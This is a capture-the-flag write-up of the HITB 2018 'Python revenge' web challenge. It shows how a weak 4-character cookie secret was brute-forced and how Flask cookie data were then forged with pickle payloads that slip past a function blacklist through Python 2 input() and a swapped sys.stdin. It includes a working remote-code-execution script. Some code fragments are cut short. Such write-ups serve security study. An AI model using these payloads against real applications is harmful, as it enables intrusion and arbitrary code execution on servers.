Tags: python input pickle eval 


# Python revenge (Web)

In the task we get access to a webpage which stores some data we input in a form.
We also get [source code](revenge.py) of the page.
It's using Flask and Python.

The important part is the way the page stores our input:

location = b64e(pickle.dumps(location))
cookie = make_cookie(location, cookie_secret)

So the data are stored in a cookie using pickle, and as it seems they are loaded the same way:

def loads(strs):
files = StringIO(strs)
unpkler = pickle.Unpickler(files)
unpkler.dispatch[pickle.REDUCE] = _hook_call(
return unpkler.load()

We've written already quite a few writeups on exploiting pickle.
In short pickle deserialization can call functions.
We only need to have a callable and tuple of arguments and we can call this.
The simplest trick would be to make a pickle like:

(S'ls -la'

Where `c` means that rests of the line is module name and next line is symbol name to import, `S'some string'` places a string on the stack, `t` means pop elements from the stack up until `(` and then place a tuple of all those arguments on the stack, and `R` means pop 2 elements from the stack, and try to call the first one with second one as argument.
Dot is just end of pickle.

So this translates to: `os.system('ls -la')`

In our task we've got two issues to overcome. First there is a signature for the cookie content:

def getlocation():
cookie = request.cookies.get('location')
if not cookie:
return ''
(digest, location) = cookie.split("!")
if not safe_str_cmp(calc_digest(location, cookie_secret), digest):
flash("Hey! This is not a valid cookie! Leave me alone.")
return False
location = loads(b64d(location))
return location

def make_cookie(location, secret):
return "%s!%s" % (calc_digest(location, secret), location)

def calc_digest(location, secret):
return sha256("%s%s" % (location, secret)).hexdigest()

So we can't simply place any payload in the cookie, because we need to know the hash.
The secret to hash is appended at the end, so we can'y simply use hash length extension here.
However, we notice in the code:

if not os.path.exists('.secret'):
with open(".secret", "w") as f:
secret = ''.join(random.choice(string.ascii_letters + string.digits)
for x in range(4))
with open(".secret", "r") as f:
cookie_secret = f.read().strip()

So the `secret` is actually only 4 bytes and only from `string.ascii_letters + string.digits` charset!
We can simply grab an some random cookie and then run:

def break_cookie():
data = 'd7e3bd07f7ae389f07abe89d199ebae1e1e67b4479a98870ee5a3c4fe0f56237!VjErMQpwMAou'
(hash, msg) = data.split("!")
for c in itertools.product(string.ascii_letters + string.digits, repeat=4):
if hashlib.sha256("%s%s" % (msg, "".join(c))).hexdigest() == hash:


This way we recover secret `hitb`

Now we can send arbitrary payloads to the page, now we need to face the second issue:

black_type_list = [eval, execfile, compile, open, file, os.system, os.popen, os.popen2, os.popen3, os.popen4, os.fdopen, os.tmpfile, os.fchmod, os.fchown, os.open, os.openpty, os.read, os.pipe, os.chdir, os.fchdir, os.chroot, os.chmod, os.chown, os.link, os.lchown, os.listdir, os.lstat, os.mkfifo, os.mknod, os.access, os.mkdir, os.makedirs, os.readlink, os.remove, os.removedirs, os.rename, os.renames, os.rmdir, os.tempnam, os.tmpnam, os.unlink, os.walk, os.execl, os.execle, os.execlp, os.execv, os.execve, os.dup, os.dup2, os.execvp, os.execvpe, os.fork, os.forkpty, os.kill, os.spawnl, os.spawnle, os.spawnlp, os.spawnlpe, os.spawnv, os.spawnve, os.spawnvp, os.spawnvpe, pickle.load, pickle.loads, cPickle.load, cPickle.loads, subprocess.call, subprocess.check_call, subprocess.check_output, subprocess.Popen, commands.getstatusoutput, commands.getoutput, commands.getstatus, glob.glob, linecache.getline, shutil.copyfileobj, shutil.copyfile, shutil.copy, shutil.copy2, shutil.move, shutil.make_archive, dircache.listdir, dircache.opendir, io.open, popen2.popen2, popen2.popen3, popen2.popen4, timeit.timeit, timeit.repeat, sys.call_tracing, code.interact, code.compile_command, codeop.compile_command, pty.spawn, posixfile.open, posixfile.fileopen]

We can't use any of those in our pickle payload, so our example with `os.system` won't do.

It took a moment to notice one important thing about this task - it's Python 2, and on the blacklist there is no `input()` function.
There is a huge difference between Python 2 and 3 regarding this function.
In Python 3 it behaves the same as `raw_input()` from Python 2 - it simply reads input from stdin.
But in Python 2 what it does is actually `eval(raw_input())`, so by using `input()` we can do `eval()`.

The function itself we can grab from `__builtin__` module so simple:

(S'> '\ntR.

Would invoke the function with `> ` as prompt.
Now we need to actually send some data to the function, but it reads from `stdin`.
Fortunately python allows to monkey-patch almost anything, so we can simply assign some object to `sys.stdin` and therefore substitute stdin for something else.
Of course pickle requires the functinal form of `function, args` so we actually need to do `setattr(sys, 'stdin', something_else)`
Again, we can grab `setattr` from `__builtin__`.
To get `sys` module object we need to import it.
We can't use `csys` or `isys` because both require actually importing something from this module, not module itself.
What we need is to call `__import__('sys')`, and again function `__import__` is in `__builtin__`.

So we can just do:


Which will translate to `__builtin__.setattr(__builtin__.__import__('sys'),'stdin',SOMETHING_ELSE)`

Now the last part is to change `stdin` into some string based source, for that we can just use `StringIO` class so:


So now if we combine this we get:

(S'" + command_to_eval + "'
(S'python> '

Which translates to:

newstdin = StringIO.StringIO(command_to_eval) # just for readability
__builtin__.input('python> ')

And gives us power to execute python.

The final attck script is simply:

def main():
url = ""
response = ""
while True:
command_to_eval = raw_input("python> ")
payload = "c__builtin__\nsetattr\n(c__builtin__\n__import__\n(S'sys'\ntRS'stdin'\ncStringIO\nStringIO\n(S'" + command_to_eval + "'\ntRtRc__builtin__\ninput\n(S'> '\ntR."
response = requests.get(url, cookies={"location": make_cookie(base64.b64encode(payload), 'hitb')})
print(re.findall('<h3 class="wow fadeInLeftBig">(.*?)</h3>', response.text, re.DOTALL)[0])
except Exception as e:


We can execute for example `__import__("subprocess").check_output("ls")` to run `ls` command.
For some reason it was failing on some commands, so we just kept using Python API like `__import__("os").listdir("/")`
In the root there was file `flag_is_here` and by sending `open('/flag_is_here','r').read()` we get: `HITB{Py5h0n1st8eBe3tNOW}`

Original writeup (https://github.com/p4-team/ctf/tree/master/2018-04-11-hitb-quals/web_python).